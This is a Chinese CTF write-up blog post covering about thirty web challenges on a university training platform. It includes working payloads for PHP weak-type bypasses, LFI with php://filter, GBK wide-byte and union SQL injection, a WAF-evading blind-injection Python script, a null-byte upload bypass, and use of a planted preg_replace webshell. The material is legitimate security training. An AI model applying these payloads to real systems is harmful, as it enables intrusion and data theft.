南邮攻防训练平台Writeup

 Qiqi's Blog     2018-06-01   24860 words    & views

南邮CTF WriteUp

Web

签到题

题干

这一定是最简单的

题解

右键查看源代码,看到nctf{flag_admiaanaaaaaaaaaaa}

md5 collision

题干

源码

<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "nctf{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}
?>

题解

md5弱类型

我们只要找到md5加密后以0e开头的字符串就可以绕过==的判断了

QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a

类似的还有sha1

aaroZmOk aaK1STfY aaO8zKZF aaO8zKZF aa3OFF9m

得到flag:nctf{md5_collision_is_easy}

签到2

只要输入zhimakaimen即可,但是输入框对输入长度进行了限制

修改一下最大长度,输入zhimakaimen获得flag is:nctf{follow_me_to_exploit}

这题不是WEB

题干

真的,你要相信我!这题不是WEB

题解

这题确实不是web,这是一道图片隐写题

用16进制编辑器打开图片,在最后的地方发现nctf{photo_can_also_hid3_msg}

层层递进

打开是一个网站,右键查看一下源代码

发现一个SO.html,点进去

和刚刚那个网站长得很像,我们再次查看源代码

又看到了一个S0.html

联想到标题,这题可能是让我们一直找下去,找到头就能获得flag

接着后面一次发现SO.htmS0.htm404.html

最后我们看到

<!-- Placed at the end of the document so the pages load faster -->
<!--  
<script src="./js/jquery-n.7.2.min.js"></script>
<script src="./js/jquery-c.7.2.min.js"></script>
<script src="./js/jquery-t.7.2.min.js"></script>
<script src="./js/jquery-f.7.2.min.js"></script>
<script src="./js/jquery-{.7.2.min.js"></script>
<script src="./js/jquery-t.7.2.min.js"></script>
<script src="./js/jquery-h.7.2.min.js"></script>
<script src="./js/jquery-i.7.2.min.js"></script>
<script src="./js/jquery-s.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-i.7.2.min.js"></script>
<script src="./js/jquery-s.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-a.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-f.7.2.min.js"></script>
<script src="./js/jquery-l.7.2.min.js"></script>
<script src="./js/jquery-4.7.2.min.js"></script>
<script src="./js/jquery-g.7.2.min.js"></script>
<script src="./js/jquery-}.7.2.min.js"></script>
-->

拼接一下得到nctf{this_is_a_fl4g}

AAencode

题干

javascript aaencode

题解

google一下javascript aaencode,发现是js的颜文字加密

注意这里打开可能是中文乱码,我们只要修改一下编码为unicode就可以正常显示了

゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');

我们直接把这段颜文字放到控制台回车,会提示ω゚ノundefined,所以我们要先定义一下var ω゚ノ = " ";,然后再执行那一段颜文字

这样我们可以在页面上看到弹框nctf{javascript_aaencode}

或者我们还可以var ω゚ノ = " ";,再把最后的('_')删掉

返回nctf{javascript_aaencode}

单身二十年

题干

这题可以靠技术也可以靠手速!
老夫单身二十年,自然靠的是手速!

题解

看到一个链接,查看源代码,该链接指向./search_key.php

点击链接,我们却去到了./no_key_is_here_forever.php这个页面

猜测是302跳转

burp抓包

获得nctf{yougotit_script_now}

你从哪里来

题干

你是从 google 来的吗?

题解

这题坏了,没办法做了,但是思路不会变

我们只要修改referer: https://www.google.com即可

flag也给大家nctf{http_referer}

php decode

题干

见到的一个类似编码的shell,请解码

<?php
function CLsI($ZzvSWE) {

    $ZzvSWE = gzinflate(base64_decode($ZzvSWE));

    for ($i = 0; $i < strlen($ZzvSWE); $i++) {

        $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);

    }

    return $ZzvSWE;

}eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>

题解

将代码复制到本地,将eval改成echo即可解密

运行一下得到flag:nctf{gzip_base64_hhhhhh}

文件包含

题干

没错 这就是传说中的LFI

题解

点击链接,看到了file参数可以包含文件

文件包含,可以使用php伪协议和filter过滤器,来读取源代码

payload

http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

返回

PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=

base64解码,得到

<html>
    <title>asdf</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>

看到flag:nctf{edulcni_elif_lacol_si_siht}

单身一百年也没用

题干

是的。。这一题你单身一百年也没用

题解

和前面那个单身二十年思路一摸一样

抓包得到flag: nctf{this_is_302_redirect}

题干

COOKIE就是甜饼的意思~
TIP:
0==not

题解

页面显示please login first

我们打开检查元素

看到请求头中cookie: Login=0

再根据题目中的tip,我们只要将0改为1即可

得到flag:nctf{cookie_is_different_from_session}

MYSQL

题干

不能每一题都这么简单嘛
你说是不是?

题解

页面提示Do you know robots.txt?

于是访问http://chinalover.sinaapp.com/web11/robots.txt

返回

别太开心,flag不在这,这个文件的用途你看完了?
在CTF比赛中,这个文件往往存放着提示信息

TIP:sql.php

<?php
if($_GET[id]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $id = intval($_GET[id]);
  $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
  if ($_GET[id]==1024) {
      echo "<p>no! try again</p>";
  }
  else{
    echo($query[content]);
  }
}
?>

根据CTF的套路,应该是让我们输入一个id,但他的值不等于1024,但是intval之后和1024相等

那么只要知道intval取整,就很容易了

payload

http://chinalover.sinaapp.com/web11/sql.php?id=1024.1

返回the flag is:nctf{query_in_mysql}

sql injection 3

搜索一下SQL-GBK发现是宽字节注入

当我们使用'闭合的时候,发现会被\转义,没有办法成功闭合它

这里我们就要使用宽字节注入来进行绕过,mysql在使用GBK编码的时候,会认为两个字符是一个汉字,当我们输入%df的时候,出现如下报错:

your sql:select id,title from news where id = '1運''

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in SQL-GBK/index.php on line 10

发现出现了报错,说明我们的语句已经影响了正常语句的执行了,可以注入了。这里为什么加一个%df就可以了呢?因为这是mysql的一种特性,GBK是多字节编码,它认为两个字节就代表一个汉字,在%df加入的时候会和转义符\,即%5c进行结合,变成了一个“運”,而’逃逸了出来

因此只要第一个字节和%5c结合是一个汉字,就可以成功绕过了,当第一个字节的ascii码大于128,就可以了

order by

我们先使用order by语句,发现只有两列

查询库名

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,database()--+

得到sae-chinalover

查询表名

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

得到ctf,ctf2,ctf3,ctf4,news

查询列名

查询ctf4

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x63746634--+

得到flag

查询数据

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,flag from ctf4--+

得到nctf{gbk_3sqli}

/x00

题干

题目有多种解法,你能想出来几种?

题解

if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

第一种方法

第一个不等式中ereg函数,当传入参数为数组nctf[]时,NULL != FALSE ,构造成功跳过第一个不等式 第二个不等式中strpos函数传入参数数组之后 NULL != FLASE会返回flag

所以payload?nctf[]=

第二种方法

使用00截断绕过ereg函数,但要注意将#url编码

payload:?nctf=1%00%23biubiubiu

bypass again

题干

依旧是弱类型

题解

if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}

只需要找到两个字符串经过md5加密后,均以0e开头即可绕过验证

Payload:?a=QNKCDZO&b=240610708

得到Flag: nctf{php_is_so_cool}

变量覆盖

题干

听说过变量覆盖么?

题解

关键代码

<?php if ($_SERVER["REQUEST_METHOD"] == "POST") {
    extract($_POST);
    if ($pass == $thepassword_123) {
        echo $theflag;
   } 
}
?>

postpass=1&thepassword_123=1

得到nctf{bian_liang_fu_gai!}

PHP是世界上最好的语言

题干

听说PHP是世界上最好的语言

题解

<?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>

hackerDJ经过两次url编码

payload:?id=%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61

得到nctf{php_is_best_language}

题干

头啊!!头啊!!!

题解

直接看报头,有个Flag: nctf{tips_often_hide_here}

上传绕过

题干

猜猜代码怎么写的

题解

尝试上传.php文件,返回只允许上传 jpg,GIF ,png后缀的文件

上传.jpg文件,返回必须是php文件才行啊!

看一下请求

/uploads/
-----------------------------66246405014780623021849764865
Content-Disposition: form-data; name="file"; filename="test.jpg
Content-Type: text/php

返回

Array
(
    [0] => .jpg
    [1] => jpg
)
Upload: test.jpg<br />Type: text/php<br />Size: 0.025390625 Kb<br />Stored in: ./uploads/8a9e5f6a7a789acb.phparray(4) {
  ["dirname"]=>
  string(9) "./uploads"
  ["basename"]=>
  string(4) ".php"
  ["extension"]=>
  string(3) "php"
  ["filename"]=>
  string(0) ""
}

尝试在/uploads/后面加上test.php+空格 filename="test.jpg"

然后将打开HEX,将test.php后面空格20改为00,构造00截断

上传,返回恭喜你获得flag一枚:flag:nctf{welcome_to_hacks_world}

SQL注入1

题干

听说你也会注入?

题解

关键代码

<?php
if($_POST[user] && $_POST[pass]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = trim($_POST[user]);
  $pass = md5(trim($_POST[pass]));
  $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
    echo '</br>'.$sql;
  $query = mysql_fetch_array(mysql_query($sql));
  if($query[user]=="admin") {
      echo "<p>Logged in! flag:******************** </p>";
  }
  if($query[user] != "admin") {
    echo("<p>You are not admin!</p>");
  }
}
echo $query[user];
?>

Payload:user=admin')#&pass=1

成功绕过验证flag:nctf{ni_ye_hui_sql?}

pass check

题干

核心源码

<?php
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

题解

我们要知道strcmp(array,string)==null==0,这道题就迎刃而解了

Payload:pass[]=

返回得到flag:nctf{strcmp_is_n0t_3afe}

起名字真难

题干

代码如下:

<?php
 function noother_says_correct($number)
{
        $one = ord('1');
        $nine = ord('9');
        for ($i = 0; $i < strlen($number); $i++)
        {   
                $digit = ord($number{$i});
                if ( ($digit >= $one) && ($digit <= $nine) )
                {
                        return false;
                }
        }
           return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
    echo $flag;
else 
    echo 'access denied';
?>

题解

不能出现1-9之间的数字,那么我们只能尝试将54975581388转成16进制

转换后的结果是ccccccccc,可以使用

payload:?key=0xccccccccc

得到The flag is:nctf{follow_your_dream}

密码重置

题干

重置管理员账号:admin 的密码

你在点击忘记密码之后 你的邮箱收到了这么一封重置密码的邮件:

点击此链接重置您的密码

题解

进去以后,我们发现账号那一栏被钉死为ctfuser,同时还有这样一个get参数user1=%59%33%52%6D%64%58%4E%6C%63%67%3D%3D

urldecodebase64decode得到ctfuser

这样一来,这题就很简单了

我们抓个包将这两个地方修改一下即可

payload:

user=admin&newpass=1&vcode=1234

?user1=%59%57%52%74%61%57%34%3d

得到flag is:nctf{reset_password_often_have_vuln}

sql injection 4

题干

继续注入吧~
TIP:反斜杠可以用来转义
仔细查看相关函数的用法

题解

源代码

<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
	if(get_magic_quotes_gpc()){
		$str=stripslashes($str);
	}
	return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
	die('Invalid password!');
}

echo $flag;
-->
Invalid password!

这题的clean函数用来过滤引号,会将其转化为实体编码,所以我们没有办法直接用引号来闭合了,只能运用转义字符来吃掉后面的那个单引号了

我们传一个转义字符\进去,即username=\,就可以将后面的那个单引号变成被我们传入的反斜杠转义的单引号,从而使它失去闭合能力(被转义的单引号不能参与闭合)

如此一来我们就逃出来了,并且username='\' AND pass='

接下来我们只要使用万能密码绕过即可or 1=1

最后别忘了加上注释

payload:username=\&password=or 1=1—+

如果使用#注释,别忘了使用urlencode

flag:nctf{sql_injection_is_interesting}

综合题

题干

tip:bash

题解

打开网页是一段jsfuck

放到控制台运行一下,得到1bc29b36f623ba82aaf6724fd3b16718.php

访问该页面,提示说tip在我的脑子里面,应该是报头里面有提示,果然,有个tip: history of bash

我们知道bash的历史记录都被存放在了.bash_histroy这个隐藏文件里

所以我们去访问这个文件,得到zip -r flagbak.zip ./*

再去访问flagbak.zip,将其下载下来,打开里面有个flag.txt,里面就是flag is:nctf{bash_history_means_what}

SQL注入2

题干

注入第二题~~主要考察union查询

题解

关键代码

<?php
if($_POST[user] && $_POST[pass]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = $_POST[user];
  $pass = md5($_POST[pass]);
  $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
  if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
      echo "<p>Logged in! Key: ntcf{**************} </p>";
  }
  else {
    echo("<p>Log in failure!</p>");
  }
}
?>

我们知道当时用union select的时候,会返回union select后面的值,也就是说$query的值是我们可控的,我们只要让$query中存在md5($pass)就可以了

构造payload:user=' union select md5(1)#&pass=1

获得flag:Logged in! Key: ntcf{union_select_is_wtf}

综合题2

题干

非xss题 但是欢迎留言~

题解

有个留言框,可以发表留言

提交后有个弹框昵称或留言内容不能为空!(如果有内容也弹出此框,不是网站问题喔~ 好吧,给个提示:查看页面源码有惊喜!)

那我们就去查看源代码

发现一个./so.php提示万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~

如果要想访问这个页面的话,应该需要知道UA的判断,但这个我们暂时不知道,先放一边

还有一个./about.php?file=sm.txt,发现是个文件包含,可以用php://filter伪协议来读取源码

我们就来读一下,目前我们所能掌握到的,这里我就列举一下有用的

so.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>搜索留言</title>
</head>

<body>
<center>
<div id="say" name="say" align="left" style="width:1024px">
<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
    exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>
</div>
</center>
</body>
</html>

我们看到这句$_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser",掌握了UA信息,在请求头中加上User-Agent=Xlcteam Browser就可成功去访问了

同时,很惊喜的我们发现了可以注入的点,看这句$result=mysql_query("SELECT * FROM message WHERE display=1 AND id=$id");

$id是由我们传入的$_POST['soid']控制的,完全可控,可以注入

上面我们还能看到一个antiinject.php,应该是个waf

antiinject.php

<?php
function antiinject($content){
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){
 $info=str_replace($keyword[$i], '',$info);
}
return $info;
}
?>

果不其然,确实是个waf,我们传入的soid参数也会受到它的检验,不过我们可以通过双写轻易绕过

这样一来我们就可以尝试注入了

尝试payload

soid=1^(ascii(mid((database())frofromm(1)))>32)

发现当后面为真时,页面什么又没有,当后面为假时,页面返回

大秘密:
    交个朋友吧,这个是我微信号 e045e454c18ca8a4415cfeddd1f7375eb0595c71ac00a0e4758761e1cc83f2c565bb09bfd94d1f6c2ffc0fb9849203a14af723b532cbf44a2d6f41b0dee4e834 这是原来管理员说的话,一不小心给覆盖了,sorry!!!欢迎来到xlcteam渗透挑战平台,在这里各位黑阔可以尽情施展你们那牛X的技术和猥琐流的渗透技巧。 (别说SAE没有写权限传不了shell,渗透到后台之后就什么都知道了)。 对了,各位脚本小子就不要拿各种扫描工具猛扫了,也扫不到什么东西的。当然,适当的收集资料还是可以的

这样我们可以盲注了

库名

payload如上

表名

soid=1^(ascii(mid((selselectect/**/group_concat(table_nanameme)/**/frofromm/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/database())frofromm(1)))>32)

后面不再一一列举,和上面类似,注意一下过滤的字符就好,这里过滤了=,我们可以使用like语句,'‘和"被过滤,可以将表名转为16进制

这里也给出脚本的一个样例

import requests
url = 'http://cms.nuptzj.cn/so.php'
s = requests.Session()
passwd = ''
headers = {'User-Agent': 'Xlcteam Browser'}
for l in range(1,33):
    for c in range(32,133):
        soid = "1^(ascii(mid((selselectect/**/group_concat(column_nanameme)/**/frofromm/**/infoorrmation_schema.columns/**/where/**/table_schema/**/like/**/database()/**/anandd/**/table_nanameme/**/like/**/0x6861636b65726970)frofromm(%d)))>%d)" % (l,c)
        data = {'soid':soid}
        html = s.post(url,data=data,headers=headers).text
        if 'sorry' in html:
            passwd += chr(c)
            print passwd
            break

不要忘记加上UA

我把所有我注出来的信息全部整理了一下,如下

库名:sae-exploitblog

表名:admin,filename,hackerip,message

message表:id,nice,say,display
	nice字段:,admin,wtf,1111,1111,1,1,1,2,
    
admin表:id,username,userpass
	username字段:admin
    userpass字段:102 117 99 107 114 117 110 116 117 -> fuckruntu

filename表:id,name,path
	name字段:conpass.php,arlogined.php
    path字段:./conpass.php,./arlogined.php
    
hackerip表:id,qq,mail,ip

这个注入很想吐槽了,弄这么多表还有列~累死我了

至此,我们获得了admin的密码fuckruntu,并且看到了登录框的一点影子./conpass.php,./arlogined.php

看着时当前目录,天真的以为就网站根目录,结果访问是404,于是又卡住了,左思右想,突然想起还有个about.php没有读,就是文件包含那个页面,忘记读它自己的代码了

about.php

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
$file=$_GET['file'];
if($file=="" || strstr($file,'config.php')){
echo "file参数不能为空!";
exit();
}else{
$cut=strchr($file,"loginxlcteam");
if($cut==false){
$data=file_get_contents($file);
$date=htmlspecialchars($data);
echo $date;
}else{
echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
}
}

嘿嘿,惊喜来了!!!

loginxlcteam,看到了这个,还说是敏感目录,好了,应该就是它了

尝试去访问http://cms.nuptzj.cn/loginxlcteam/conpass.php,使用之前获得adminfuckruntu成功登录后台

返回

恭喜你已拿下后台,离爆菊只差一步了flag1:nctf{}
因为程序猿连后台都懒得开发了,为了方便管理,他邪恶地放了一个一句话木马在网站的根目录下
小马的文件名为:xlcteam.php

说明我们离flag不远了,而且我们又获得了一个重要信息xlcteam.php,还是个一句话木马,岂不是可以命令执行了~

读一下

xlcteam.php

<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>

这种一句话的利用方式就是让www=preg_replace,然后wtf参数传入可执行语句

paylaod

http://cms.nuptzj.cn/xlcteam.php?www=preg_replace
post: wtf=phpinfo();

成功执行

然后利用phpinfo()的信息,我们可以看到禁用函数,发现一些常见的命令执行函数都被禁了

但是我们还是有办法的

wtf=print_r(scandir('./'));

执行得到

Array ( [0] => . [1] => .. [2] => about.php [3] => antiinject.php [4] => antixss.php [5] => config.php [6] => index.php [7] => list.php [8] => loginxlcteam [9] => passencode.php [10] => preview.php [11] => say.php [12] => sm.txt [13] => so.php [14] => xlcteam.php [15] => 恭喜你获得flag2.txt ) 

这里我又踩了一个坑,我一开始一直以为文件名叫flag2.txt,发现怎么都读不到,怎么访问都是404,于是我又仔细看了一下,才反应过来文件名是叫恭喜你获得flag2.txt

直击访问得到flag:nctf{you_are_s0_g00d_hacker}

重置密码2

题干

题题被秒,当时我就不乐意了!
本题来源于CUMT

TIPS:
1.管理员邮箱观察一下就可以找到
2.linux下一般使用vi编辑器,并且异常退出会留下备份文件
3.弱类型bypass

题解

查看源代码看到管理员邮箱admin@nuptzj.cn,和submit.php

根据提示vi编辑器和备份文件,应该是swp备份文件泄露,尝试访问.submit.php.swp,成功获取源码和表结构


........这一行是省略的代码........

/*
如果登录邮箱地址不是管理员则 die()
数据库结构

--
-- 表的结构 `user`
--

CREATE TABLE IF NOT EXISTS `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NOT NULL,
  `email` varchar(255) NOT NULL,
  `token` int(255) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

--
-- 转存表中的数据 `user`
--

INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可见***', '***不可见***', 0);
*/


........这一行是省略的代码........

if(!empty($token)&&!empty($emailAddress)){
	if(strlen($token)!=10) die('fail');
	if($token!='0') die('fail');
	$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
	$r = mysql_query($sql) or die('db error');
	$r = mysql_fetch_assoc($r);
	$r = $r['num'];
	if($r>0){
		echo $flag;
	}else{
		echo "失败了呀";
	}
}

根据要求需要让token的长度为10,并且值等于0

尝试emailAddress=admin@nuptzj.cn&token=0000000000

